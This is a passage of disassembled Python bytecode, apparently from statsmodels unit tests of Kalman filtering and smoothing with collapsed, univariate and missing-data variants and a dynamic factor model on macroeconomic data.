LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_posdef BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_states CALL_METHOD LOAD_CONST ('measurement_disturbance_variates', 'state_disturbance_variates', 'initial_state_variates') CALL_FUNCTION LOAD_FAST cls STORE_ATTR sim_a LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestTrivariateUnivariateAlternate' STORE_NAME __qualname__ LOAD_NAME classmethod LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object setup_class at 0x7fa9834fdb70, file "f.py", line 316> LOAD_CONST 'TestTrivariateUnivariateAlternate.setup_class' MAKE_FUNCTION CALL_FUNCTION STORE_NAME setup_class LOAD_CONST <code object test_using_alterate at 0x7fa9834fd0c0, file "f.py", line 322> LOAD_CONST 'TestTrivariateUnivariateAlternate.test_using_alterate' MAKE_FUNCTION STORE_NAME test_using_alterate LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL TestTrivariateUnivariateAlternate LOAD_FAST cls CALL_FUNCTION LOAD_ATTR setup_class LOAD_FAST args LOAD_CONST 'alternate_timing' LOAD_CONST True BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_ATTR _kalman_filter LOAD_ATTR filter_timing LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestTrivariateUnivariatePartialMissing' STORE_NAME __qualname__ LOAD_NAME classmethod LOAD_NAME float BUILD_TUPLE LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object setup_class at 0x7fa9834fd8a0, file "f.py", line 327> LOAD_CONST 'TestTrivariateUnivariatePartialMissing.setup_class' MAKE_FUNCTION CALL_FUNCTION STORE_NAME setup_class LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL TestTrivariateUnivariatePartialMissing LOAD_FAST cls CALL_FUNCTION LOAD_ATTR setup_class LOAD_FAST dtype BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST cls LOAD_ATTR model LOAD_ATTR nobs STORE_FAST nobs LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_endog STORE_FAST k_endog LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_posdef STORE_FAST k_posdef LOAD_GLOBAL np LOAD_ATTR nan LOAD_FAST cls LOAD_ATTR model LOAD_ATTR endog LOAD_CONST None LOAD_CONST 2 BUILD_SLICE LOAD_CONST 10 LOAD_CONST 180 BUILD_SLICE BUILD_TUPLE STORE_SUBSCR LOAD_CONST True LOAD_FAST cls LOAD_ATTR model STORE_ATTR filter_univariate LOAD_CONST True LOAD_FAST cls LOAD_ATTR model STORE_ATTR filter_collapsed LOAD_FAST cls LOAD_ATTR model LOAD_METHOD smooth CALL_METHOD LOAD_FAST cls STORE_ATTR results_b LOAD_FAST cls LOAD_ATTR model LOAD_ATTR simulation_smoother LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_endog BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_posdef BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_states CALL_METHOD LOAD_CONST ('measurement_disturbance_variates', 'state_disturbance_variates', 'initial_state_variates') CALL_FUNCTION LOAD_FAST cls STORE_ATTR sim_b LOAD_CONST False LOAD_FAST cls LOAD_ATTR model STORE_ATTR filter_collapsed LOAD_FAST cls LOAD_ATTR model LOAD_METHOD smooth CALL_METHOD LOAD_FAST cls STORE_ATTR results_a LOAD_FAST cls LOAD_ATTR model LOAD_ATTR simulation_smoother LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_endog BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_posdef BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_states CALL_METHOD LOAD_CONST ('measurement_disturbance_variates', 'state_disturbance_variates', 'initial_state_variates') CALL_FUNCTION LOAD_FAST cls STORE_ATTR sim_a LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestTrivariateUnivariatePartialMissingAlternate' STORE_NAME __qualname__ LOAD_NAME classmethod LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object setup_class at 0x7fa9834fd930, file "f.py", line 357> LOAD_CONST 'TestTrivariateUnivariatePartialMissingAlternate.setup_class' MAKE_FUNCTION CALL_FUNCTION STORE_NAME setup_class LOAD_CONST <code object test_using_alterate at 0x7fa9834fd4b0, file "f.py", line 363> LOAD_CONST 'TestTrivariateUnivariatePartialMissingAlternate.test_using_alterate' MAKE_FUNCTION STORE_NAME test_using_alterate LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL TestTrivariateUnivariatePartialMissingAlternate LOAD_FAST cls CALL_FUNCTION LOAD_ATTR setup_class LOAD_FAST args LOAD_CONST 'alternate_timing' LOAD_CONST True BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_ATTR _kalman_filter LOAD_ATTR filter_timing LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestTrivariateUnivariateAllMissing' STORE_NAME __qualname__ LOAD_NAME classmethod LOAD_NAME float BUILD_TUPLE LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object setup_class at 0x7fa9834fd660, file "f.py", line 368> LOAD_CONST 'TestTrivariateUnivariateAllMissing.setup_class' MAKE_FUNCTION CALL_FUNCTION STORE_NAME setup_class LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL TestTrivariateUnivariateAllMissing LOAD_FAST cls CALL_FUNCTION LOAD_ATTR setup_class LOAD_FAST dtype BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST cls LOAD_ATTR model LOAD_ATTR nobs STORE_FAST nobs LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_endog STORE_FAST k_endog LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_posdef STORE_FAST k_posdef LOAD_GLOBAL np LOAD_ATTR nan LOAD_FAST cls LOAD_ATTR model LOAD_ATTR endog LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 10 LOAD_CONST 180 BUILD_SLICE BUILD_TUPLE STORE_SUBSCR LOAD_CONST True LOAD_FAST cls LOAD_ATTR model STORE_ATTR filter_univariate LOAD_CONST True LOAD_FAST cls LOAD_ATTR model STORE_ATTR filter_collapsed LOAD_FAST cls LOAD_ATTR model LOAD_METHOD smooth CALL_METHOD LOAD_FAST cls STORE_ATTR results_b LOAD_FAST cls LOAD_ATTR model LOAD_ATTR simulation_smoother LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_endog BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_posdef BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_states CALL_METHOD LOAD_CONST ('measurement_disturbance_variates', 'state_disturbance_variates', 'initial_state_variates') CALL_FUNCTION LOAD_FAST cls STORE_ATTR sim_b LOAD_CONST False LOAD_FAST cls LOAD_ATTR model STORE_ATTR filter_collapsed LOAD_FAST cls LOAD_ATTR model LOAD_METHOD smooth CALL_METHOD LOAD_FAST cls STORE_ATTR results_a LOAD_FAST cls LOAD_ATTR model LOAD_ATTR simulation_smoother LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_endog BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_posdef BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_states CALL_METHOD LOAD_CONST ('measurement_disturbance_variates', 'state_disturbance_variates', 'initial_state_variates') CALL_FUNCTION LOAD_FAST cls STORE_ATTR sim_a LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestTrivariateUnivariateAllMissingAlternate' STORE_NAME __qualname__ LOAD_NAME classmethod LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object setup_class at 0x7faa7c16a270, file "f.py", line 396> LOAD_CONST 'TestTrivariateUnivariateAllMissingAlternate.setup_class' MAKE_FUNCTION CALL_FUNCTION STORE_NAME setup_class LOAD_CONST <code object test_using_alterate at 0x7faa7c16a8a0, file "f.py", line 402> LOAD_CONST 'TestTrivariateUnivariateAllMissingAlternate.test_using_alterate' MAKE_FUNCTION STORE_NAME test_using_alterate LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL TestTrivariateUnivariateAllMissingAlternate LOAD_FAST cls CALL_FUNCTION LOAD_ATTR setup_class LOAD_FAST args LOAD_CONST 'alternate_timing' LOAD_CONST True BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_ATTR _kalman_filter LOAD_ATTR filter_timing LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestDFM' STORE_NAME __qualname__ LOAD_NAME classmethod LOAD_CONST <code object create_model at 0x7faa7c16a0c0, file "f.py", line 407> LOAD_CONST 'TestDFM.create_model' MAKE_FUNCTION CALL_FUNCTION STORE_NAME create_model LOAD_NAME classmethod LOAD_CONST <code object collapse at 0x7faa7c16a030, file "f.py", line 426> LOAD_CONST 'TestDFM.collapse' MAKE_FUNCTION CALL_FUNCTION STORE_NAME collapse LOAD_NAME classmethod LOAD_CONST ('mixed',) LOAD_CONST <code object setup_class at 0x7faa7c16aae0, file "f.py", line 438> LOAD_CONST 'TestDFM.setup_class' MAKE_FUNCTION CALL_FUNCTION STORE_NAME setup_class LOAD_CONST <code object test_using_collapsed at 0x7faa7c16ab70, file "f.py", line 509> LOAD_CONST 'TestDFM.test_using_collapsed' MAKE_FUNCTION STORE_NAME test_using_collapsed LOAD_CONST <code object test_forecasts at 0x7faa7c16a300, file "f.py", line 519> LOAD_CONST 'TestDFM.test_forecasts' MAKE_FUNCTION STORE_NAME test_forecasts LOAD_CONST <code object test_forecasts_error at 0x7faa7c16ae40, file "f.py", line 525> LOAD_CONST 'TestDFM.test_forecasts_error' MAKE_FUNCTION STORE_NAME test_forecasts_error LOAD_CONST <code object test_forecasts_error_cov at 0x7fa9c8600420, file "f.py", line 530> LOAD_CONST 'TestDFM.test_forecasts_error_cov' MAKE_FUNCTION STORE_NAME test_forecasts_error_cov LOAD_CONST <code object test_filtered_state at 0x7fa9c8600a50, file "f.py", line 536> LOAD_CONST 'TestDFM.test_filtered_state' MAKE_FUNCTION STORE_NAME test_filtered_state LOAD_CONST <code object test_filtered_state_cov at 0x7fa9c8600810, file "f.py", line 539> LOAD_CONST 'TestDFM.test_filtered_state_cov' MAKE_FUNCTION STORE_NAME test_filtered_state_cov LOAD_CONST <code object test_predicted_state at 0x7fa9c86000c0, file "f.py", line 544> LOAD_CONST 'TestDFM.test_predicted_state' MAKE_FUNCTION STORE_NAME test_predicted_state LOAD_CONST <code object test_predicted_state_cov at 0x7fa9c8600b70, file "f.py", line 547> LOAD_CONST 'TestDFM.test_predicted_state_cov' MAKE_FUNCTION STORE_NAME test_predicted_state_cov LOAD_CONST <code object test_loglike at 0x7fa9c86004b0, file "f.py", line 552> LOAD_CONST 'TestDFM.test_loglike' MAKE_FUNCTION STORE_NAME test_loglike LOAD_CONST <code object test_smoothed_states at 0x7fa9c8600ed0, file "f.py", line 555> LOAD_CONST 'TestDFM.test_smoothed_states' MAKE_FUNCTION STORE_NAME test_smoothed_states LOAD_CONST <code object test_smoothed_states_cov at 0x7fa9c8600c00, file "f.py", line 558> LOAD_CONST 'TestDFM.test_smoothed_states_cov' MAKE_FUNCTION STORE_NAME test_smoothed_states_cov LOAD_CONST <code object test_smoothed_states_autocov at 0x7fa9c86006f0, file "f.py", line 565> LOAD_CONST 'TestDFM.test_smoothed_states_autocov' MAKE_FUNCTION STORE_NAME test_smoothed_states_autocov LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skip LOAD_CONST <code object test_smoothed_measurement_disturbance at 0x7fa9c8600930, file "f.py", line 581> LOAD_CONST 'TestDFM.test_smoothed_measurement_disturbance' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_smoothed_measurement_disturbance LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skip LOAD_CONST <code object test_smoothed_measurement_disturbance_cov at 0x7fa9c8600f60, file "f.py", line 588> LOAD_CONST 'TestDFM.test_smoothed_measurement_disturbance_cov' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_smoothed_measurement_disturbance_cov LOAD_CONST <code object test_smoothed_state_disturbance at 0x7fa9c86008a0, file "f.py", line 595> LOAD_CONST 'TestDFM.test_smoothed_state_disturbance' MAKE_FUNCTION STORE_NAME test_smoothed_state_disturbance LOAD_CONST <code object test_smoothed_state_disturbance_cov at 0x7fa9c8600ae0, file "f.py", line 601> LOAD_CONST 'TestDFM.test_smoothed_state_disturbance_cov' MAKE_FUNCTION STORE_NAME test_smoothed_state_disturbance_cov LOAD_CONST <code object test_simulation_smoothed_state at 0x7fa9c8600e40, file "f.py", line 607> LOAD_CONST 'TestDFM.test_simulation_smoothed_state' MAKE_FUNCTION STORE_NAME test_simulation_smoothed_state LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skip LOAD_CONST <code object test_simulation_smoothed_measurement_disturbance at 0x7fa9c86005d0, file "f.py", line 610> LOAD_CONST 'TestDFM.test_simulation_smoothed_measurement_disturbance' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_simulation_smoothed_measurement_disturbance LOAD_CONST <code object test_simulation_smoothed_state_disturbance at 0x7fa9c86001e0, file "f.py", line 617> LOAD_CONST 'TestDFM.test_simulation_smoothed_state_disturbance' MAKE_FUNCTION STORE_NAME test_simulation_smoothed_state_disturbance LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MLEModel LOAD_FAST obs BUILD_TUPLE LOAD_CONST 2 LOAD_CONST 2 LOAD_CONST ('k_states', 'k_posdef') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION STORE_FAST mod LOAD_GLOBAL np LOAD_METHOD array LOAD_CONST -32.47143586 LOAD_CONST 17.33779024 BUILD_LIST LOAD_CONST -7.40264169 LOAD_CONST 1.69279859 BUILD_LIST LOAD_CONST -209.04702853 LOAD_CONST 125.2879374 BUILD_LIST BUILD_LIST CALL_METHOD LOAD_FAST mod LOAD_CONST 'design' STORE_SUBSCR LOAD_GLOBAL np LOAD_METHOD diag LOAD_GLOBAL np LOAD_METHOD array LOAD_CONST 0.0622668 LOAD_CONST 1.95666886 LOAD_CONST 58.37473642 BUILD_LIST CALL_METHOD CALL_METHOD LOAD_FAST mod LOAD_CONST 'obs_cov' STORE_SUBSCR LOAD_GLOBAL np LOAD_METHOD array LOAD_CONST 0.29935707 LOAD_CONST 0.33289005 BUILD_LIST LOAD_CONST -0.7639868 LOAD_CONST 1.2844237 BUILD_LIST BUILD_LIST CALL_METHOD LOAD_FAST mod LOAD_CONST 'transition' STORE_SUBSCR LOAD_GLOBAL np LOAD_METHOD eye LOAD_CONST 2 CALL_METHOD LOAD_FAST mod LOAD_CONST 'selection' STORE_SUBSCR LOAD_GLOBAL np LOAD_METHOD array LOAD_CONST 1.2 LOAD_CONST -0.25 BUILD_LIST LOAD_CONST -0.25 LOAD_CONST 1.1 BUILD_LIST BUILD_LIST CALL_METHOD LOAD_FAST mod LOAD_CONST 'state_cov' STORE_SUBSCR LOAD_FAST mod LOAD_METHOD initialize_approximate_diffuse LOAD_CONST 1000000.0 CALL_METHOD POP_TOP LOAD_FAST mod RETURN_VALUE LOAD_FAST cls LOAD_ATTR create_model LOAD_FAST obs BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION STORE_FAST mod LOAD_FAST mod LOAD_ATTR smooth BUILD_LIST LOAD_CONST True LOAD_CONST ('return_ssm',) CALL_FUNCTION POP_TOP LOAD_FAST mod LOAD_ATTR ssm LOAD_ATTR _statespace STORE_FAST _ss LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST mod LOAD_ATTR nobs LOAD_FAST mod LOAD_ATTR k_states BUILD_TUPLE CALL_METHOD STORE_FAST out SETUP_LOOP to 108 LOAD_GLOBAL range LOAD_FAST mod LOAD_ATTR nobs CALL_FUNCTION GET_ITER FOR_ITER to 106 STORE_FAST t LOAD_FAST _ss LOAD_METHOD seek LOAD_FAST t LOAD_FAST mod LOAD_ATTR ssm LOAD_ATTR filter_univariate LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_GLOBAL np LOAD_METHOD array LOAD_FAST _ss LOAD_ATTR collapse_obs CALL_METHOD LOAD_FAST out LOAD_FAST t STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST out RETURN_VALUE LOAD_GLOBAL datasets LOAD_ATTR macrodata LOAD_METHOD load_pandas CALL_METHOD LOAD_ATTR data STORE_FAST dta LOAD_GLOBAL pd LOAD_ATTR date_range LOAD_CONST '1959-01-01' LOAD_CONST '2009-7-01' LOAD_CONST 'QS' LOAD_CONST ('start', 'end', 'freq') CALL_FUNCTION LOAD_FAST dta STORE_ATTR index LOAD_FAST dta LOAD_CONST 'realgdp' LOAD_CONST 'realcons' LOAD_CONST 'realinv' BUILD_LIST BINARY_SUBSCR STORE_FAST levels LOAD_GLOBAL np LOAD_METHOD log LOAD_FAST levels CALL_METHOD LOAD_METHOD diff CALL_METHOD LOAD_ATTR iloc LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_CONST 400 BINARY_MULTIPLY STORE_FAST obs LOAD_FAST which LOAD_CONST 'all' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_ATTR nan LOAD_FAST obs LOAD_ATTR iloc LOAD_CONST None LOAD_CONST 50 BUILD_SLICE LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE STORE_SUBSCR LOAD_GLOBAL np LOAD_ATTR nan LOAD_FAST obs LOAD_ATTR iloc LOAD_CONST 119 LOAD_CONST 130 BUILD_SLICE LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE STORE_SUBSCR JUMP_FORWARD to 290 LOAD_FAST which LOAD_CONST 'partial' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_ATTR nan LOAD_FAST obs LOAD_ATTR iloc LOAD_CONST 0 LOAD_CONST 50 BUILD_SLICE LOAD_CONST 0 BUILD_TUPLE STORE_SUBSCR LOAD_GLOBAL np LOAD_ATTR nan LOAD_FAST obs LOAD_ATTR iloc LOAD_CONST 119 LOAD_CONST 130 BUILD_SLICE LOAD_CONST 0 BUILD_TUPLE STORE_SUBSCR JUMP_FORWARD to 290 LOAD_FAST which LOAD_CONST 'mixed' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_ATTR nan LOAD_FAST obs LOAD_ATTR iloc LOAD_CONST 0 LOAD_CONST 50 BUILD_SLICE LOAD_CONST 0 BUILD_TUPLE STORE_SUBSCR LOAD_GLOBAL np LOAD_ATTR nan LOAD_FAST obs LOAD_ATTR iloc LOAD_CONST 19 LOAD_CONST 70 BUILD_SLICE LOAD_CONST 1 BUILD_TUPLE STORE_SUBSCR LOAD_GLOBAL np LOAD_ATTR nan LOAD_FAST obs LOAD_ATTR iloc LOAD_CONST 39 LOAD_CONST 90 BUILD_SLICE LOAD_CONST 2 BUILD_TUPLE STORE_SUBSCR LOAD_GLOBAL np LOAD_ATTR nan LOAD_FAST obs LOAD_ATTR iloc LOAD_CONST 119 LOAD_CONST 130 BUILD_SLICE LOAD_CONST 0 BUILD_TUPLE STORE_SUBSCR LOAD_GLOBAL np LOAD_ATTR nan LOAD_FAST obs LOAD_ATTR iloc LOAD_CONST 119 LOAD_CONST 130 BUILD_SLICE LOAD_CONST 2 BUILD_TUPLE STORE_SUBSCR LOAD_FAST cls LOAD_ATTR create_model LOAD_FAST obs BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION STORE_FAST mod LOAD_FAST mod LOAD_ATTR ssm LOAD_FAST cls STORE_ATTR model LOAD_FAST cls LOAD_ATTR model LOAD_ATTR nobs STORE_FAST nobs LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_endog STORE_FAST k_endog LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_posdef STORE_FAST k_posdef LOAD_GLOBAL np LOAD_ATTR random LOAD_METHOD seed LOAD_CONST 1234 CALL_METHOD POP_TOP LOAD_GLOBAL np LOAD_ATTR random LOAD_ATTR normal LOAD_FAST nobs LOAD_FAST k_endog BINARY_MULTIPLY LOAD_CONST ('size',) CALL_FUNCTION STORE_FAST mdv LOAD_GLOBAL np LOAD_ATTR random LOAD_ATTR normal LOAD_FAST nobs LOAD_FAST k_posdef BINARY_MULTIPLY LOAD_CONST ('size',) CALL_FUNCTION STORE_FAST sdv LOAD_GLOBAL np LOAD_ATTR random LOAD_ATTR normal LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_states LOAD_CONST ('size',) CALL_FUNCTION STORE_FAST isv LOAD_CONST True LOAD_FAST cls LOAD_ATTR model STORE_ATTR filter_collapsed LOAD_FAST cls LOAD_ATTR model LOAD_METHOD smooth CALL_METHOD LOAD_FAST cls STORE_ATTR results_b LOAD_FAST cls LOAD_ATTR model LOAD_METHOD simulation_smoother CALL_METHOD LOAD_FAST cls STORE_ATTR sim_b LOAD_FAST cls LOAD_ATTR sim_b LOAD_ATTR simulate LOAD_FAST mdv LOAD_FAST sdv LOAD_FAST isv LOAD_CONST ('measurement_disturbance_variates', 'state_disturbance_variates', 'initial_state_variates') CALL_FUNCTION POP_TOP LOAD_CONST False LOAD_FAST cls LOAD_ATTR model STORE_ATTR filter_collapsed LOAD_FAST cls LOAD_ATTR model LOAD_METHOD smooth CALL_METHOD LOAD_FAST cls STORE_ATTR results_a LOAD_FAST cls LOAD_ATTR model LOAD_METHOD simulation_smoother CALL_METHOD LOAD_FAST cls STORE_ATTR sim_a LOAD_FAST cls LOAD_ATTR sim_a LOAD_ATTR simulate LOAD_FAST mdv LOAD_FAST sdv LOAD_FAST isv LOAD_CONST ('measurement_disturbance_variates', 'state_disturbance_variates', 'initial_state_variates') CALL_FUNCTION POP_TOP LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'filter_collapsed' LOAD_CONST None CALL_METHOD POP_TOP LOAD_GLOBAL MLEModel LOAD_FAST obs BUILD_TUPLE LOAD_CONST 4 LOAD_CONST 2 LOAD_CONST ('k_states', 'k_posdef') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION STORE_FAST mod LOAD_GLOBAL np LOAD_METHOD array LOAD_CONST -32.47143586 LOAD_CONST 17.33779024 BUILD_LIST LOAD_CONST -7.40264169 LOAD_CONST 1.69279859 BUILD_LIST LOAD_CONST -209.04702853 LOAD_CONST 125.2879374 BUILD_LIST BUILD_LIST CALL_METHOD LOAD_FAST mod LOAD_CONST 'design' LOAD_CONST None LOAD_CONST 3 BUILD_SLICE LOAD_CONST None LOAD_CONST 2 BUILD_SLICE BUILD_TUPLE STORE_SUBSCR LOAD_GLOBAL np LOAD_METHOD diag LOAD_GLOBAL np LOAD_METHOD array LOAD_CONST 0.0622668 LOAD_CONST 1.95666886 LOAD_CONST 58.37473642 BUILD_LIST CALL_METHOD CALL_METHOD LOAD_FAST mod LOAD_CONST 'obs_cov' STORE_SUBSCR LOAD_GLOBAL np LOAD_METHOD array LOAD_CONST 0.29935707 LOAD_CONST 0.33289005 BUILD_LIST LOAD_CONST -0.7639868 LOAD_CONST 1.2844237 BUILD_LIST BUILD_LIST CALL_METHOD LOAD_FAST mod LOAD_CONST 'transition' LOAD_CONST None LOAD_CONST 2 BUILD_SLICE LOAD_CONST None LOAD_CONST 2 BUILD_SLICE BUILD_TUPLE STORE_SUBSCR LOAD_GLOBAL np LOAD_METHOD eye LOAD_CONST 2 CALL_METHOD LOAD_FAST mod LOAD_CONST 'transition' LOAD_CONST 2 LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST 2 BUILD_SLICE BUILD_TUPLE STORE_SUBSCR LOAD_GLOBAL np LOAD_METHOD eye LOAD_CONST 2 CALL_METHOD LOAD_FAST mod LOAD_CONST 'selection' LOAD_CONST None LOAD_CONST 2 BUILD_SLICE LOAD_CONST None LOAD_CONST 2 BUILD_SLICE BUILD_TUPLE STORE_SUBSCR LOAD_GLOBAL np LOAD_METHOD array LOAD_CONST 1.2 LOAD_CONST -0.25 BUILD_LIST LOAD_CONST -0.25 LOAD_CONST 1.1 BUILD_LIST BUILD_LIST CALL_METHOD LOAD_FAST mod LOAD_CONST 'state_cov' STORE_SUBSCR LOAD_FAST mod LOAD_METHOD initialize_approximate_diffuse LOAD_CONST 1000000.0 CALL_METHOD POP_TOP LOAD_FAST mod LOAD_ATTR ssm LOAD_FAST cls STORE_ATTR augmented_model LOAD_FAST mod LOAD_ATTR ssm LOAD_METHOD smooth CALL_METHOD LOAD_FAST cls STORE_ATTR augmented_results LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR filter_collapsed POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR filter_collapsed POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR collapsed_forecasts LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR collapsed_forecasts LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_equal LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR forecasts LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 3 CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_equal LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR collapsed_forecasts LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 2 CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR forecasts LOAD_CONST 0 LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR forecasts LOAD_CONST 0 LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR forecasts_error LOAD_CONST 0 LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR forecasts_error LOAD_CONST 0 LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR forecasts_error_cov LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR forecasts_error_cov LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR filtered_state LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR filtered_state CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a 